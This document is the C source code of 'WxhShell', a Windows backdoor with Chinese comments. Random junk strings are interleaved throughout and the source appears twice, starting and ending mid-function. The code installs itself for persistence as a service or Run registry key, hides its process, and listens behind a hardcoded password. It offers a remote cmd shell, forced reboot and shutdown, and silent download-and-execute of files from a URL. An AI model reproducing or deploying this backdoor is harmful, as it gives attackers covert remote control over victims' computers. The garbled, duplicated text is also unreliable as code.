Si~wig2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $,r%@'= & k:~UBs\)( if (!NtQueryInformationProcess) return 0; Ho/tCU|w X1oR hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k
75 p if(!hProcess) return 0; #WG;p(?: $(0<T<\ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fM]nP4K` />9`Mbg[G CloseHandle(hProcess); V#b*:E.cA rs>,p) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BDPE.8s if(hProcess==NULL) return 0; .L#4#IO AZNo%!)o HMODULE hMod; \J?&XaO= char procName[255]; 75R4[C6T unsigned long cbNeeded; 5"U5^6:T Jr2>D= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c; .y *Z.{1 CloseHandle(hProcess); MxGQM> l1 08.ao if(strstr(procName,"services")) return 1; // 以服务启动 }/NjZ*u V5h_uGOD return 0; // 注册表启动 4Vf-D%
h>a } Fgwe`[ (1er?4 // 主模块 O@HD' int StartWxhshell(LPSTR lpCmdLine) +dq2}gM { T72Z<h|< SOCKET wsl; 5c%Fb:BW= BOOL val=TRUE; 'S
v
V10$5 int port=0; Td^62D; struct sockaddr_in door; g;o5m} cqZlpm$c if(wscfg.ws_autoins) Install(); +\PLUOk OaN"6Ge# port=atoi(lpCmdLine); [["eK9}0 XNvlx4 if(port<=0) port=wscfg.ws_port; 0H}O6kU 3v#F0s| WSADATA data; 5V0#_!QAN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]wbV1Y" brCL"g|} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V5jy,Qi) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R>[G6LOG door.sin_family = AF_INET; '2<N_)43$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); NZ^hp\q door.sin_port = htons(port); K7q R *'n=LB8R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z y6kA\q closesocket(wsl); O6q5qA return 1; gd]k3XN$f } d.U"lP/)D =G 'c % if(listen(wsl,2) == INVALID_SOCKET) { UD2l!)rW closesocket(wsl); z=rSb4"W return 1; m{yq.H[X } (I1^nrDP. Wxhshell(wsl); $D*Yhv!/ WSACleanup(); =AuxMEg ^w
jM u5f return 0; urD{'FQf _tnoq;X[ } QA~Lm . // 以NT服务方式启动 c8o2* C$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ee$F]NA { wr6(C: DWORD status = 0; k,/2]{#53d DWORD specificError = 0xfffffff; J>0RN/38o 1=jwJv.^/ serviceStatus.dwServiceType = SERVICE_WIN32; ~#P` 7G serviceStatus.dwCurrentState = SERVICE_START_PENDING; 55Ye7P-d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "!o|^nN, serviceStatus.dwWin32ExitCode = 0; ,Mn?h\ serviceStatus.dwServiceSpecificExitCode = 0; 5pxw[c53# serviceStatus.dwCheckPoint = 0; 6#2E {uy;R serviceStatus.dwWaitHint = 0; ","to 4+N9Ylh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XpP}(A@G if (hServiceStatusHandle==0) return; Gwfi DV~g status = GetLastError(); iuoZk5O if (status!=NO_ERROR) SiT5QJe { 8ao>]5Rs3 serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ Mq8jw(2 serviceStatus.dwCheckPoint = 0; yJHFo[wGMJ serviceStatus.dwWaitHint = 0; R-BN}ZS serviceStatus.dwWin32ExitCode = status; +(o]E3 serviceStatus.dwServiceSpecificExitCode = specificError; NS^+n4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); M}!E :bv' return; 6w$pL( } GuRJ '<hgc
serviceStatus.dwCurrentState = SERVICE_RUNNING; kwpbg Q serviceStatus.dwCheckPoint = 0; 2~W8tv0^b2 serviceStatus.dwWaitHint = 0; SQI =D8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s!j vBy } A!aki}aT~ ,gn**E // 处理NT服务事件,比如:启动、停止 [O^mG
9 VOID WINAPI NTServiceHandler(DWORD fdwControl) "I&,':O+ { ;cW9NS3: switch(fdwControl) OC_i, { 0D^c4[Y'l case SERVICE_CONTROL_STOP: ,
Y cF~ serviceStatus.dwWin32ExitCode = 0; oa8xuFu(n serviceStatus.dwCurrentState = SERVICE_STOPPED; V=5v7Y3(j serviceStatus.dwCheckPoint = 0; t,R4q* serviceStatus.dwWaitHint = 0; 2vX!j!_ { 0z=^_Fb SetServiceStatus(hServiceStatusHandle, &serviceStatus); D=!5l4 } \kVi&X=q: return; ./E<v case SERVICE_CONTROL_PAUSE: {&s.* 5 serviceStatus.dwCurrentState = SERVICE_PAUSED; S"Mm_<A$@ break; 5vqh09-FB case SERVICE_CONTROL_CONTINUE: {x/)S*:Z serviceStatus.dwCurrentState = SERVICE_RUNNING; qb7ur; break; P)&qy .+E0 case SERVICE_CONTROL_INTERROGATE: xBKis\b break; ]R8JBnA }; "o>gX'm* SetServiceStatus(hServiceStatusHandle, &serviceStatus); @DA.$zn& } >p@v'h/Cr ])uhm)U@ // 标准应用程序主函数 a;[=bp int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )NL_))\ { )6
[d'2 :x/L.Bz // 获取操作系统版本 0X[uXf OsIsNt=GetOsVer(); x#,nR]C GetModuleFileName(NULL,ExeFile,MAX_PATH); yUp"%_t0 %SlF7$ // 从命令行安装 %:hU:+G E if(strpbrk(lpCmdLine,"iI")) Install(); ,T\)%q mnS F=l;; // 下载执行文件 |\_d^U&` if(wscfg.ws_downexe) { |}^BF%8V: if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e:kd0)9 WinExec(wscfg.ws_filenam,SW_HIDE); Y<EdFzle } (n3MbVi3LU RYem(%jq if(!OsIsNt) { Z/w "zCd // 如果时win9x,隐藏进程并且设置为注册表启动 x;p7n2_ HideProc(); -P7JaH/Q StartWxhshell(lpCmdLine); 25CO_ } F9 q9BH else F1UTj"<e if(StartFromService()) ;^Hg\a // 以服务方式启动 &$+nuUA StartServiceCtrlDispatcher(DispatchTable); dE0p>4F else Vv3{jn6% // 普通方式启动 + U]; StartWxhshell(lpCmdLine); 9 9S-P}xd VwxLElV return 0; huw|J<$ } wc.T;( H|i39XV J_ S]jE{ 22gk1'~dO =========================================== .S=^) qe"t0w|U? 7G<v<& uy^vQ/ "ZU CYYre ui$JQ _P " WC<K(PP DEcsFC/SK #include <stdio.h> vsL)E:0 #include <string.h> E |BE(F;K #include <windows.h> NHjZ`=Js #include <winsock2.h> C/L+gU& #include <winsvc.h> 7xr@$-U #include <urlmon.h> w;Jby ;)nV #pragma comment (lib, "Ws2_32.lib") ~xSAR;8 #pragma comment (lib, "urlmon.lib") ollk {N sq~9
l|F #define MAX_USER 100 // 最大客户端连接数 A:-r2;xB #define BUF_SOCK 200 // sock buffer q!+&|F #define KEY_BUFF 255 // 输入 buffer L 2k?Pl <5wk~|@t #define REBOOT 0 // 重启
<B%s9Zy #define SHUTDOWN 1 // 关机 =Pu;wx9 xOAA1# #define DEF_PORT 5000 // 监听端口 ~$\9T.tre2 Fw!TTH6l0 #define REG_LEN 16 // 注册表键长度 6*]g~)7`Q~ #define SVC_LEN 80 // NT服务名长度 q;<=MO/ ,-GkP>8f( // 从dll定义API Ja@zeD)f" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wQV[ZfU^h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]s))O6^f typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6~@S,i1 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cj6+zJ -4!9cE // wxhshell配置信息 [G/ti&Od^ struct WSCFG { ra4$/@3n int ws_port; // 监听端口 c4'k-\JvT char ws_passstr[REG_LEN]; // 口令 m\hzQ9 int ws_autoins; // 安装标记, 1=yes 0=no Wu!s char ws_regname[REG_LEN]; // 注册表键名 'zg; *)x1/ char ws_svcname[REG_LEN]; // 服务名 >ARZ=x[ char ws_svcdisp[SVC_LEN]; // 服务显示名 (v'#~ )R_` char ws_svcdesc[SVC_LEN]; // 服务描述信息 UHh7x%$n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BS_ 3| int ws_downexe; // 下载执行标记, 1=yes 0=no /#C}1emK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kU
{>hG4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;;#_[Zl ~7$4w# of0 }; Uf
?._&: BsJ
d*-:X // default Wxhshell configuration -szSA struct WSCFG wscfg={DEF_PORT, |*T3TsP u "xuhuanlingzhe", DQ86(4e*g# 1, m);0sb "Wxhshell", {%"n[DLps "Wxhshell", Z?);^m|T "WxhShell Service", NZTG)< "Wrsky Windows CmdShell Service", D\ ;(BB "Please Input Your Password: ", @ gv^ 1, 6Kbc:wlR "http://www.wrsky.com/wxhshell.exe", ~fV\
X* "Wxhshell.exe" V8Fp1?E9S }; 3hi0 5vmc'Om // 消息定义模块 WEnI[JGe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FoNkISzW
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,Hzz:ce char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L/Ytk ag char *msg_ws_ext="\n\rExit."; w!j 'k|b> char *msg_ws_end="\n\rQuit."; F+m%PVW: char *msg_ws_boot="\n\rReboot..."; tpY]Mz[J char *msg_ws_poff="\n\rShutdown..."; V 4` char *msg_ws_down="\n\rSave to "; XYh)59oM% dKk#j@[n" char *msg_ws_err="\n\rErr!"; 4m:D8&D_M char *msg_ws_ok="\n\rOK!"; Pss$[ % $0mR_pA\fW char ExeFile[MAX_PATH]; a7fFp9l! int nUser = 0; sP'U9l HANDLE handles[MAX_USER]; Xt.ca,`U int OsIsNt; x_+-TC4IXn P2!+ZJ& SERVICE_STATUS serviceStatus; {O=PVW2S SERVICE_STATUS_HANDLE hServiceStatusHandle; ]J(BaX4 j%`%
DQ // 函数声明 {M^BY,%* int Install(void);
F%tV^$% int Uninstall(void); CK"OHjR int DownloadFile(char *sURL, SOCKET wsh); * @=ZzL int Boot(int flag); A/c #2 void HideProc(void); DuMzK%
int GetOsVer(void); K0usBA int Wxhshell(SOCKET wsl); \:m1{+l void TalkWithClient(void *cs); 6KRC_- int CmdShell(SOCKET sock); "OO)m](w int StartFromService(void); bk=ee7E7> int StartWxhshell(LPSTR lpCmdLine); }ip3d m a_3w/9L4r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w$DHMpW' VOID WINAPI NTServiceHandler( DWORD fdwControl ); `x]`<kS; _M)
G // 数据结构和表定义 G`Df'Yy SERVICE_TABLE_ENTRY DispatchTable[] = $3=S\jyfK { |E9'ii&?B {wscfg.ws_svcname, NTServiceMain}, >i_ #q$o {NULL, NULL} 3oOr*N3R }; ^~;"$=Wf n'@*RvI: // 自我安装 kW7$Gw]- int Install(void) ,rS?^"h9 { ,
.E> char svExeFile[MAX_PATH]; #\8"d HKEY key; EeR} 34 strcpy(svExeFile,ExeFile); ^D76_'{ ?2%;VKN4 // 如果是win9x系统,修改注册表设为自启动 D&{CC if(!OsIsNt) { I.[Lv7U- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SLW|)Q24 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @'9m()%-]g RegCloseKey(key); cLf<YF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .1+I8qj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9:P\)'y? RegCloseKey(key); EsS$th)d return 0; \10KIAQ } .JOZ2QWm< } O6ph_$nt. } ^IKT!"J&? else { jV[;e15+ iB|htH'T // 如果是NT以上系统,安装为系统服务 f`)*bx SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \zcR75 if (schSCManager!=0) _X|prIOb= { 6e8 gFQ"w2 SC_HANDLE schService = CreateService S=gby ( .1}1e;f- schSCManager, e#)NYcr6 wscfg.ws_svcname, (:I]v_qEYS wscfg.ws_svcdisp, \wDL oR SERVICE_ALL_ACCESS, inFS99DKx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (g*j+i SERVICE_AUTO_START, 9Z2 1|5 SERVICE_ERROR_NORMAL, v;`>pCal svExeFile, *7E#=xb NULL, 16>D?;2o( NULL, 9a @rsyX NULL, ;{aGEOP'U NULL, 3FtL<7B'. NULL 1BEs> Sm ); X5\xq+Ih if (schService!=0) OIJT~Z} { DJ DQH \& CloseServiceHandle(schService); u>]3?ty` CloseServiceHandle(schSCManager); peF)U
!`D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "g)V&Lx#X strcat(svExeFile,wscfg.ws_svcname); DR{O.TX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^vPsp? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x9AFN RegCloseKey(key); d!UxFY@
return 0; i!RfUod } .9J}Z^FD } TZ+ p6M8G CloseServiceHandle(schSCManager); |iI
dm } YrJUs]A } - om9 Z0e NhCucSU<K return 1; pY@QR?F\ } Q#G xo ^~.AV]t| // 自我卸载 ol*,&C:{ int Uninstall(void) W;yc)JB { @lF?+/=$ HKEY key; 6^WNwe\ YR*gOTD if(!OsIsNt) { F_(~b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >x JzV RegDeleteValue(key,wscfg.ws_regname); $3PDe RegCloseKey(key); `hZh}K^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9xO@_pkX RegDeleteValue(key,wscfg.ws_regname); K^U=" RegCloseKey(key); A1INaL return 0; nj'5iiV`] } 5XUm} D$ } Ga5*tWj } xy]O8>b else { ~t~[@2?WG h AAh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *qm|A{FQR if (schSCManager!=0) CYLab5A { N.vWZ7l8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zXx/\B$&d* if (schService!=0) fJ[ ^_,O { R\5,H!V9n if(DeleteService(schService)!=0) { &F
uPd}F CloseServiceHandle(schService); a1~|?PCbY CloseServiceHandle(schSCManager); 9gcW; return 0; XZb=;tYo } o6px1C: CloseServiceHandle(schService); @T~XwJ~ } V!+iq*Z|= CloseServiceHandle(schSCManager); b^Z2Vf:k] } <7VLUk} } D,}bTwRb- 3e&+[j return 1; X|T|iB,vT } } +}nrJv ID2->J // 从指定url下载文件 5[jcw` int DownloadFile(char *sURL, SOCKET wsh) P|<V0
Vs. { ~^1y(-cw HRESULT hr; ;
R}>SS' char seps[]= "/"; Wp>t\S~N char *token; 94+^K=lAX char *file; G0UaE1n char myURL[MAX_PATH]; ZOEe -XW char myFILE[MAX_PATH]; Xe%J{ uaF-3 strcpy(myURL,sURL); %=UD~5!G0 token=strtok(myURL,seps); ]&%KU)i? while(token!=NULL) ChTq !W { 'z.
GAR file=token; X[o+Y@bc token=strtok(NULL,seps); ^YLC {V } d/7R}n^ L;RE5YrH%6 GetCurrentDirectory(MAX_PATH,myFILE); lV$JCNe strcat(myFILE, "\\"); -wXeue},> strcat(myFILE, file); Mp`$1Ksn send(wsh,myFILE,strlen(myFILE),0); l<+[l$0# send(wsh,"...",3,0); ]eKuR"ob0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CM_hN>%w[ if(hr==S_OK) 4=^_VDlpd return 0; ~S/oW89 else XPX?+W=mv return 1; (SyD)G\rj W#F9Qw } Hh1_zd| XGB\rfvS // 系统电源模块 ^aSb~lce int Boot(int flag) -Q n-w3~& { 9>~pA]j% HANDLE hToken; cW:y^(X ii TOKEN_PRIVILEGES tkp; `j>5W<5q\ ^cYB.oeu if(OsIsNt) { #hxYB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5skN'*oG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xf`e 4 tkp.PrivilegeCount = 1; u}iuf_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G!Zb27u+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5bLNQz\WJ if(flag==REBOOT) { 1p}H,\o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oVvA`} return 0; j L|6i-?! } Kv|
x
-_7 else { 0SI@`C*1o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1B4Qj`:+0 return 0; PR@6=[|d } KR>)Ek } Iq+N0G<j else { Pf[E..HF*d if(flag==REBOOT) { Ol>q(-ea if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PFJ$Ia| return 0; axnlI*! } FgH7YkKrD else { {XOl & if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i1B!oZ3q return 0; t1?aw< } = QBvU)Ki } !/}3/iU pa!BJ]~ return 1; %+~\I\)1 } z5jw\jBD TPN+jK // win9x进程隐藏模块 jKq*@o~} void HideProc(void) 8FuxN2 { ~&<#H+O \4N8-GwZQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &*v\t\]
if ( hKernel != NULL ) |[.-pA^ { sSW'SE?,< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wEjinP$2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +u$l]~St\ FreeLibrary(hKernel); ]DVr-f
~ } "/'3I/} pkn^K+<n, return; h5P_kZJ } G=:/v ~+Gh{,f // 获取操作系统版本 )]P(!hW. int GetOsVer(void) cw<IL { cyl%p$ OSVERSIONINFO winfo; ,\M77V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (tg.]q_=u GetVersionEx(&winfo); G8av5zR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {+67<&g return 1; `s7pM else Xz^nm\ return 0; Fl`U{03 } Lwl1ta- A*OqUq/H`; // 客户端句柄模块 yNI0Do
2 int Wxhshell(SOCKET wsl) ^-"Iwy { Q!+AiSTU SOCKET wsh; JWb + struct sockaddr_in client; Pxr/*X DWORD myID; qX@e+&4P0 a}yb~:TC while(nUser<MAX_USER) ~(R=3 { ;\pVc)\4" int nSize=sizeof(client); ?06gu1z/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W![K#r5T if(wsh==INVALID_SOCKET) return 1; E
f\|3D_ +YvF+E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h*fN]k6 if(handles[nUser]==0) =ANr|d closesocket(wsh); F!X0Wo= else @;4;72@O nUser++; =dAAb\: } 7p1Y g WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u}%OC43 aGbG@c8PRi return 0; H7+"BWc } nqy*>X` /WnCAdDgZ // 关闭 socket F*KQhH7Gf void CloseIt(SOCKET wsh) FSM M { Ph=NH8 closesocket(wsh); U6&`s%mIa nUser--; ,iyy2 ExitThread(0); !,`'VQw$ } I/(U0`% :M"+ // 客户端请求句柄 F=qILwd void TalkWithClient(void *cs) #Pg#\v|7#> { F+hV'{|w` 8Yq06o38C SOCKET wsh=(SOCKET)cs; pbx*Y`v char pwd[SVC_LEN]; 63oe0T& char cmd[KEY_BUFF]; PLz{EQ[cV char chr[1]; {?`rGJ{f int i,j; (7g"ppf _mqU:?Q5 while (nUser < MAX_USER) { bL7Gkbs&| Cu+p!hV if(wscfg.ws_passstr) { {]dxFhe) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :TTq
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p :xyy*I //ZeroMemory(pwd,KEY_BUFF); 2PQBUq i=0; '/I`dj while(i<SVC_LEN) { *HD(\;i-$ .:?v;rYk{ // 设置超时 ZN}`A7 fd_set FdRead; l!,tssQ struct timeval TimeOut; 4V:W 8k 9D FD_ZERO(&FdRead); x:)H Ii q/ FD_SET(wsh,&FdRead); +^BThrB TimeOut.tv_sec=8; 1J!v;Y\\ TimeOut.tv_usec=0; LLgw1 @-D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); No7-fX1B if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;{I9S' @}q, ';H7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g@'XmT="_ pwd=chr[0]; }`w(sec:3 if(chr[0]==0xd || chr[0]==0xa) { |m-N5$\IC pwd=0; *y4g\#o. break; nuq@m0t\# } I2/am8!u% i++; i*|HN"! } w%\
n XJ xo@1((|z // 如果是非法用户,关闭 socket r-T1^u if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j55_wx@cA } VrW]|jIu* f6I)c$]Q send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oZ2:% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q_[y|ETJ] r^Ra`:ca while(1) { {gzQ/|}#z- qXtC7uNj$ ZeroMemory(cmd,KEY_BUFF); CNRSc4Le P.Tnq // 自动支持客户端 telnet标准 807+|Ol[ j=0; B*G]Dr)e while(j<KEY_BUFF) { BQfnoF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :0@0muo cmd[j]=chr[0]; fExFpR,` if(chr[0]==0xa || chr[0]==0xd) { wbWC &X. cmd[j]=0; Nd( I RsH( break; Cj#wY } f8-`bb j++; 46vC/ } !Mw/j`* pq0Z<b;2 // 下载文件 :'r*
5EX if(strstr(cmd,"http://")) { PZ/tkw send(wsh,msg_ws_down,strlen(msg_ws_down),0); OX.5olb if(DownloadFile(cmd,wsh)) O\7x+^. send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9z4F/tUq else O$z"`'&j# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4(,.<# } ~d&&\EZ else { ^%*qe5J #reR<qp&] switch(cmd[0]) { JAHmmNlW Q:)4 // 帮助 nGGw(6c%> case '?': { mqeW,89 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ();Z,A break; J4]"@0 ?6 } Hd4 ~v0eS // 安装 iM!V4Wih6 case 'i': { 7r,GdP . if(Install()) V@+sNM send(wsh,msg_ws_err,strlen(msg_ws_err),0); jA8Bmwt;w else H`<u2fo|p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1<h@^s ; break; /7B3z}rd } R[ F`b // 卸载 H5]q*D2 case 'r': { R:P), if(Uninstall()) 4qDa:D"5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); g&RhPrtl else `Zp*? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (M;d*gNr break; 5<X"+`=9 } >l}v
_k*~B // 显示 wxhshell 所在路径 L7- JK3/E case 'p': { %D-!<)z char svExeFile[MAX_PATH]; N]8/l:@ strcpy(svExeFile,"\n\r"); Lm$KR!z strcat(svExeFile,ExeFile); }#Up:o]A! send(wsh,svExeFile,strlen(svExeFile),0); n{|j#j break; yo5-x"ze } /p;OZf] // 重启 GQ
Flt_ case 'b': { rSDI.m send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 860y9wzU if(Boot(REBOOT)) =Q;dYx%I5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4WlBQ<5 else { k=t{o closesocket(wsh); Nba1!5:M ExitThread(0); s'/_0 } /hg^hF break; 11S{XbU } Oc~<`C~ // 关机 ,X|
>d case 'd': { kFQo[O] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G{pF! q if(Boot(SHUTDOWN)) U&^(%W# send(wsh,msg_ws_err,strlen(msg_ws_err),0); @0:Eg 1- else { <F}j;mX closesocket(wsh); Lz9|"F"V ExitThread(0); iMM9a;G+ } j~rW
2( break; Q&$2F:4f& } Y}}1]}VIK // 获取shell ER`;0#3[9u case 's': { H(?+-72KX CmdShell(wsh);
B*`[8kb, closesocket(wsh); DbI)tDi5D ExitThread(0); ]q#"8= break; m{*_%tjN0 } O~J f"Ht // 退出 9;gy38.3 case 'x': { 5[6{o$I send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4M$"0}O;[h CloseIt(wsh); ^~B#r# break; WYvcN8F } f#38QP-T // 离开 <@>icDFEHn case 'q': { gBgaVG send(wsh,msg_ws_end,strlen(msg_ws_end),0); G #$r)S closesocket(wsh); tR=1.M96Y WSACleanup(); =?M{B1;H exit(1); ?YFSK break; o|KmKC n> } Fyz1LOH[X } d^Cv9%X } &x.5TDB>% o
-x=/b // 提示信息 MA=gCG/JD if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H8Ra !FW@ } IYr4 } F6{Q1DqI 93)1 return; VyIM ,glu } /z1-4:^`A[ *6(/5V // shell模块句柄 [{F;4>g int CmdShell(SOCKET sock) =dQ46@ { rgv$MnG STARTUPINFO si; Wsw/ D ZeroMemory(&si,sizeof(si)); 6
#jpA.; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gE&83i" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1A7(s0J8 : PROCESS_INFORMATION ProcessInfo; !&G&
~*.x char cmdline[]="cmd"; %Bn n\{Az CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0#sf,ja> return 0; bhjJH,%_> } r*Z p-} pr\OjpvD // 自身启动模式 78'3&,+si int StartFromService(void) N,ihQB5 { |3EKK:RE typedef struct uw&p) { gr>>]C$ DWORD ExitStatus; C%P"\>5@ DWORD PebBaseAddress; x*_'uP oS DWORD AffinityMask; &K"qnng/y DWORD BasePriority; lt C ULONG UniqueProcessId; >{h/4T@ ULONG InheritedFromUniqueProcessId; /a-OBU } PROCESS_BASIC_INFORMATION; a[BIY&/Q QlnI &o PROCNTQSIP NtQueryInformationProcess; $=!_ !tr OLJ|gunA# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H1ox>sC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UDgUbi^v|D %c&<{D}r HANDLE hProcess; |/RZGC4 PROCESS_BASIC_INFORMATION pbi; u$V@akk mk`#\=GE HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UTxqqcqEny if(NULL == hInst ) return 0; y=e|W=<D& Tml>>O g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hLSas#B> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D0p>Q^w NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u85Uy
yN &(X-b"2 if (!NtQueryInformationProcess) return 0; !X{>?.@~ tc<HA7vpt~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S4>1 d- if(!hProcess) return 0; K1|xatx1V ?wj1t!83 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L%[b6< &_<!zJ;Hn CloseHandle(hProcess); I#:4H2H6 -*0U&]T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |s[k= /~" if(hProcess==NULL) return 0; UV)!zgP vt2A/9_Z% HMODULE hMod; ~&8bVA= . char procName[255]; sG k'G573 unsigned long cbNeeded; `^CIOCK% N._&\fHY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b~EA&dc mRD '@n CloseHandle(hProcess); _*dUH5 gO]jeO if(strstr(procName,"services")) return 1; // 以服务启动 `BKV/Xl p>0n~e return 0; // 注册表启动 y(Ck j" } `Ct fe8 ood,k{ // 主模块 2mPU / int StartWxhshell(LPSTR lpCmdLine) [f@[gE { "s
